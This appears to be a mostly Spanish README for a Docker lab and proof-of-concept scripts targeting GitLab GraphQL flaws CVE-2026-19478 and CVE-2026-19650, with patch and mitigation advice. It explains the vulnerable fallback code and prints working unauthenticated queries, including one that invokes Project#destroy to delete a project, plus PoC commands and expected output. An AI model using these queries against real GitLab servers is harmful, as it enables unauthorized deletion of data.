Laboratorio A/B reproducible + PoC seguro para GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced de GitLab GraphQL (laboratorio de validación + PoC)Laboratorio A/B reproducible y PoC seguro para CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Crítico). Un atacante no autenticado puede invocar métodos Ruby arbitrarios de 0 argumentos sobre objetos de dominio resueltos por GraphQL — p. ej. llamar a
Project#destroypara eliminar un proyecto público sin credenciales.También incluye un PoC para el CVE-2026-19650 relacionado (intercambio de consultas multiplex de GraphQL) corregido en la misma versión.
Solo para pruebas de seguridad autorizadas / educación. Todo se ejecuta contra tus propios contenedores locales.
GitLab incluye una directiva de cliente GraphQL @gl_introduced(version: "X.Y.Z") (compatibilidad hacia delante para
despliegues continuos). Cuando una consulta nombra un campo con una versión más reciente que la del servidor en ejecución, un trazador
() lo elimina antes de la , de modo que la consulta
se valida, y luego vuelve a ejecutar el documento en tiempo de ejecución y deja que los campos desconocidos se resuelvan mediante un respaldo.
Gitlab::Graphql::VersionFilter::IntroducedTracerEl bug está en el respaldo (lib/gitlab/graphql/version_filter/future_field_fallback.rb, antes del parche):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
Un GraphQL::Schema::Field sin resolver es resuelto por graphql-ruby llamando a
object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb: la
rama respond_to?(@method_sym) → public_send se ejecuta antes de que se consulte fallback_value, por lo que
fallback_value: nil era código muerto). Por lo tanto, bajo @gl_introduced, el cliente elige un nombre de campo
igual a cualquier método de 0 argumentos del objeto actualmente resuelto, y el servidor lo invoca.
Resuelve un proyecto público, solicita un «campo futuro» llamado destroy → el servidor ejecuta Project#destroy.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver explícito que devuelve nil y nunca llama a un método.@gl_introduced(version:) debe ser mayor que la versión del servidor (usa 99.0.0).to_param, destroy).id); de lo contrario, el documento filtrado es un
conjunto de selección vacío y GitLab devuelve un error de validación "Field must have selections".Requisitos: Docker + docker compose, ~8 GB de RAM libre, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh muestra, por instancia: la URL base, la ruta del proyecto público sembrado (root/pub) y un PAT de administrador.
Usa la primitiva de llamada a método con un método inofensivo (to_param). No se modifican datos.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
Resultado esperado:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
vs. en la instancia parcheada:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
Crea su propio proyecto público desechable mediante la API REST (necesita el token de administrador de setup.sh),
luego lo elimina a través del ataque GraphQL no autenticado y confirma que el proyecto ha desaparecido.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
Resultado esperado (vulnerable):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
En la instancia parcheada, la misma ejecución informa que el proyecto sigue devolviendo 200 OK y que destroy es null.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
Apunta --url a cualquier GitLab que estés autorizado a probar y --project a un proyecto público en él:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
La detección no es destructiva. No uses --prove-destroy contra nada que no sea tuyo.
Actualiza a 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 o posterior. El parche enruta el respaldo a través de
Resolvers::NilResolver (devuelve nil, nunca invoca un método del objeto). Si no puedes actualizar
de inmediato, bloquea la directiva @gl_introduced / la ruta del filtro de versión en un proxy, o restringe
el acceso GraphQL no autenticado.
| Archivo | Propósito |
|---|---|
docker-compose.yml | Inicia 19.2.2-ce vulnerable (:8222) + 19.2.4-ce parcheado (:8224) |
setup.sh | Espera a que esté listo, siembra el proyecto público root/pub + token de administrador por instancia |
poc_cve_2026_19478.py | Detección (segura) + prueba de impacto opcional --prove-destroy |
poc_cve_2026_19650.py | Detección de intercambio de consultas multiplex (segura) |
--prove-destroy crea y elimina su propio proyecto desechable; nunca toca root/pub ni tus datos.e283c6adeb3d (respaldo) y d2ea4b971a98 (intercambio multiplex).